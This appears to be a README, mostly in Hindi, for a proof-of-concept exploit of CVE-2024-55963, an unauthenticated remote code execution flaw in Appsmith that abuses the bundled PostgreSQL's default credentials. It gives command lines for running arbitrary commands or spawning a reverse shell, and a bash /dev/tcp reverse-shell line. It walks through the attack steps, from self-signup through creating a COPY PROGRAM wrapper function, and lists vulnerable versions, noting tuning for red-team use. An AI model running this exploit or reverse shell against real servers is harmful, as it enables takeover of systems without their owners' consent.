
CVE-2024-55963, allows unauthenticated remote code execution on Appsmith Enterprise platform due to a misconfigured PostgreSQL database included by default
CVE‑2024‑55963 के लिए PoC एक्सप्लॉइट जो कमजोर Appsmith इंस्टेंस पर मनमाने कमांड चलाता है या रिवर्स शेल उत्पन्न करता है।
यह स्वचालित रूप से आधुनिक सर्वरों (जिनमें environmentId सुविधा है) और इससे पहले के बहुत पुराने “लीगेसी” बिल्डों को संभालता है, ताकि आप v1.20 से लेकर अंतिम कमजोर रिलीज़ v1.51 तक हर संस्करण के लिए एक स्क्रिप्ट का उपयोग कर सकें।
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
नोट: कोई भी क्रेडेंशियल काम करते हैं जब तक सर्वर स्व-सेवा साइन-अप की अनुमति देता है। स्क्रिप्ट पहले लॉग इन करने का प्रयास करती है और यदि खाता मौजूद नहीं है तो पंजीकरण पर वापस आ जाती है।
/api/v1/environments/workspaces/{id} को क्वेरी करता है; यदि अनुपलब्ध है तो यह लीगेसी मोड (खाली environmentId) पर स्विच करता है।/api/v1/applications पर पोस्ट करता है और pageId निकालता है।localhost:5432 पर postgres/postgres क्रेडेंशियल के साथ इंगित करता है (कमजोर डिफ़ॉल्ट pg_hba.conf द्वारा अनुमत)।exec_cmd() और एक स्क्रैच टेबल cmd_output अपलोड करता है जो STDOUT एकत्र करता है।/api/v1/actions/execute एंडपॉइंट के माध्यम से SELECT * FROM exec_cmd('<your cmd>') चलाता हैbash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' निष्पादित करता हैrequests| Appsmith संस्करण | परिणाम |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, लीगेसी पथ |
| 1.52+ | ❌ पैच किया गया – फ़ंक्शन निर्माण विफल |
यह PoC Rhino Security Labs के एक्सप्लॉइट का थोड़ा संवर्धन है (मुझे एहसास नहीं था कि जब मैं शोध की समीक्षा कर रहा था तो उनके पास पहले से एक सार्वजनिक PoC था)।
Rhino का PoC स्थिर हेडर, कुकीज़ और क्रेडेंशियल का उपयोग करता है। उस एक्सप्लॉइट का परीक्षण करते समय मुझे उन समस्याओं का सामना करना पड़ा जब विशिष्ट संस्करणों पर खाता पहले से मौजूद था। यह स्क्रिप्ट उपयोगकर्ता को कमांड लाइन से कोई भी ईमेल/पासवर्ड संयोजन दर्ज करने की अनुमति देती है। जैसा कि उल्लेख किया गया है, CSRF टोकन को हार्डकोडेड मानों पर निर्भर रहने के बजाय निकाला जाता है।
Environments API एंडपॉइंट नहीं है।exec_cmd() PL/pgSQL रैपर के अंदर COPY PROGRAM का लाभ उठाता है और /actions/execute API का उपयोग करता है, लेकिन यह निस्संदेह अधिक शोर करने वाला है। Rhino एक तदर्थ COPY (SELECT …) स्टेटमेंट जारी करने के लिए अंतर्निहित स्कीमा पूर्वावलोकन एंडपॉइंट पर निर्भर करता है। वह एंडपॉइंट आउटपुट लंबाई को छोटा करता है और अतिरिक्त कोटिंग नियम जोड़ता है, इसलिए लंबे कमांड या श्रृंखलाबद्ध पेलोड को पास करना कठिन होता है।pyfiglet निर्भरता नहींenvironmentId हेडर को स्वचालित रूप से पहचानकर। Rhino का एक्सप्लॉइट मानता है कि यह हमेशा मौजूद है।एक साथ ये डिज़ाइन विकल्प एक्सप्लॉइट को छोटा, अधिक विश्वसनीय और रेड-टीम उपयोग के लिए अधिक अनुकूल बनाते हैं, जबकि अंतर्निहित समान भेद्यता का प्रदर्शन करते हैं।
यह कोड केवल शैक्षिक और अधिकृत परीक्षण के लिए प्रदान किया गया है। इसे उन सिस्टमों के विरुद्ध चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है, संभवतः अवैध है। लेखक दुरुपयोग के लिए कोई देयता स्वीकार नहीं करते हैं।